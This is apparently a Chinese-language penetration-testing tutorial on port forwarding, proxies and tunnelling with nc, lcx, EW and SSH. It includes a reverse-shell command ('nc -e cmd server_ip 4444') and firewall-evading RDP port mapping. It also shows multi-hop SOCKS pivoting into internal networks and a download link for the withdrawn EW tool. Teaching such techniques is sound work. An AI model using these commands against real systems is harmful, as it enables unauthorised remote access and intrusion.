端口转发、代理

基本概念

端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。

端口映射是将外网主机的IP地址的一个端口映射到内网中一台机器,提供相应的服务。

实际应用中需要考虑两种情况:

  • Client->Transit server->Server:Client能够正向连接Transit server。Transit server直接转发即可
  • Client<-Transit server->Server:Client无法正向连接Transit server,但Transit server能够反向连接Client。

如果Client要对Server的多个端口进行扫描(或是多个Server的多个端口),逐个配置转发规则很不现实。
为了提高效率,这里可以使用代理,配置一次规则即可。

端口转发

正向和反向连接:

  • 正向连接:你的机器连接目标机器
  • 反向连接:目标机器反连你的机器

将本地的端口转发到服务器上

nc

Server:

1
nc -lvp 4444

Client:

1
nc -e cmd server_ip 4444

ew

1
ew_for_win_32.exe -s lcx_tran -l client_port -f server_ip -g server_port

端口映射

如果内网机器防火墙禁止3389出站,可以使用tran命令将3389端口映射到其他端口上
内网机器上执行命令:lcx.exe -tran 映射端口 连接IP 连接端口

1
lcx.exe -tran 66 192.168.183.168 3389

代理

代理类型:

  • HTTP代理
  • SOCKS代理
  • FTP代理
  • Telnet代理
  • SSL代理

正向代理

正向代理即是客户端代理,代理客户端,服务端不知道实际发起请求的客户端。
比如vpn,国内不能直接访问谷歌,可是代理服务器可以访问,客户端可以将数据转发到代理服务器,再由代理服务器转发给谷歌获取到数据,再返回客户端。这里代理的是客户端。

1
Client --> Proxy <--> Server

反向代理

反向代理即是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。
比如nginx,客户端访问想要服务器的8080端口,可是服务器的8080端口不对外开发,这里通过nginx代理端口,将所有访问80端口的流量都转发到8080端口,这样客户端只需要访问80端口就相当于访问了服务器的8080端口。这里代理的是服务器。

1
Client <--> Proxy <-- Server

EW

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。工具包中提供了多种可执行文件,支持Linux、Windows、MacOS、Arm-Linux 多种平台。

作者已经撤销给项目了。
下载地址: 链接:https://pan.baidu.com/s/1Fpmx6nbvt5FlIpJPNwS7QA
提取码:ye1s

其中SOCKS5服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

  • ssocksd 用来开启Socks5代理服务
  • rssocks 本地启用Socks5服务,并反弹到另一IP地址
  • rcsocks 接收反弹过来的Socks5服务,并转向另一端口

lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道:

  • lcx_slave,lcx_listen:端口转发
  • lcx_tran:端口映射
1
2
3
4
5
6
7
8
9
10
11
12
lcx_slave:  该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran: 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen: 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试
```
工具参数说明:
```bash
-l 开放指定端口监听
-d 指定转发或反弹的主机地址
-e 指定转发或反弹的主机端口
-f 指定连接或映射的主机地址
-g 指定连接或映射的主机端口
-t 设置超时时间

普通网络环境

网络拓扑:

正向代理

当目标网络(Server)边界存在公网IP且可任意开监听端口时

1
ew_for_Win.exe -s ssocksd -l 1080

在Server上通过该命令开启 1080 端口的 socks 代理

其他主机可以通过设置代理为目标IP:1080添加代理,Windows可以使用SocksCap64,我这里是Kali直接修改/etc/proxychains.conf设置代理为目标网络,使用proxychains命令扫描3389端口

反向代理

反向socks5
当目标网络边界(Client)不存在公网 IP,需要通过反弹方式创建socks代理
在具有公网IP的Server上执行以下命令:

1
ew_for_Win.exe -s rcsocks -l 1080 -e 8888

在公网主机中添加转接隧道,将1080收到的代理请求转交给反连8888端口的主机

在Client主机上开启socks代理,并反弹到公网的8888端口

1
ew_for_Win.exe -s rssocks -d 10.19.11.138 -e 8888

Kali通过访问公网主机的1080端口提供的socks5代理服务来访问目标内网

数据流向:Kali -> 1080 -> Server -> 8888 | 防火墙 | <- Clien

二级网络环境

环境一

网络环境拓扑:

在A主机上开启端口为8888的socks代理

1
ew_for_Win.exe -s ssocksd -l 8888

在B主机上将1080端口收到的socks代理请求转发给A主机的8888端口

1
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.44.128 -g 8888


Kali通过访问B主机的1080端口提供的socks5代理服务来访问主机A

数据流向:Kali -> 1080 -> Server B -> 8888 -> Server A

环境二

网络环境拓扑:

在VPS上添加转接隧道,将1080收到的代理请求转交给反连8888端口的主机

1
ew_for_Win.exe -s lcx_listen -l 1080 -e 8888


在A主机上开启端口为9999的socks代理

1
ew_for_Win.exe -s ssocksd -l 9999


在B主机上利用工具的lcx_slave方式,打通主机A和VPS之间的通讯隧道
当代理成功时,返回VPS可以看到有rssocks cmd_socket OK! 的提示

1
ew_for_Win.exe -s lcx_slave -d 10.19.11.138 -e 8888 -f 192.168.44.128 -g 9999


Kali通过访问VPS的1080端口提供的socks5代理服务来访问Server A

数据流向:Kali -> 1080 -> VPS -> 8888 | 防火墙 | -> B -> 9999 -> A

SSH隧道

1
2
3
4
5
6
7
8
9
10
ssh参数详解:
-C Enable compression 压缩数据传输
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它
-L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口.
-R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口.
-D port 指定一个本地机器动态的应用程序端口转发.
-g port 允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接

本地转发

语法格式:

1
ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host

远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到1234端口。

1
ssh -CfNg -L 2222:127.0.0.1:3306 root@139.196.xx.xx

工作原理:在本地指定一个由ssh监听的转发端口2222,将远程主机的3306端口(127.0.0.1:3306)映射到本地的2222端口,当有主机连接本地映射的2222端口时,本地ssh就将此端口的数据包转发给中间主机VPS,然后VPS再与远程主机端口(127.0.0.1:3306)通信。

数据流向:Kali -> 2222 -> VPS -> 127.0.0.1:3306

远程转发

语法格式:

1
ssh -R [bind_addr:]remote1_port:host:port remote1

假设kali开了一个80端口的web服务,外网无法访问,使用远程转发,将kali的80端口转发到外网的其他端口,这时候访问外网的端口,就访问到了内网的端口。

1
ssh -CfNg -R 4444:127.0.0.1:80 root@192.168.183.195

此时在192.168.183.195这台主机上访问127.0.0.1:4444端口即可访问到kali的80端口

动态转发

本地或远程转发端口和目标端口所代表的应用层协议是一对一的关系,不同的服务就要建立不同的端口,工作很是繁琐,而动态转发只需绑定一个本地端口,而目标端口是根据你发起的请求决定的,比如请求为445端口,通过ssh转发的请求也是445端口。

语法格式:

1
ssh -D [bind_addr:]port remote

这里举一个最简单的列子:翻墙。国内正常情况下上不了Google,我们可以通过将流量转发到国外的vps上这样就可以正常访问了。
在本地执行以下命令,并查看建立连接情况

1
ssh -Nfg -D 3333 root@45.77.xx.xx

连接建立成功,设置浏览器到本地主机的3333端口
参考文章:
内网端口转发及穿透
渗透基础——端口转发与代理
内网渗透之端口转发、映射、代理
内网穿透及端口转发大合集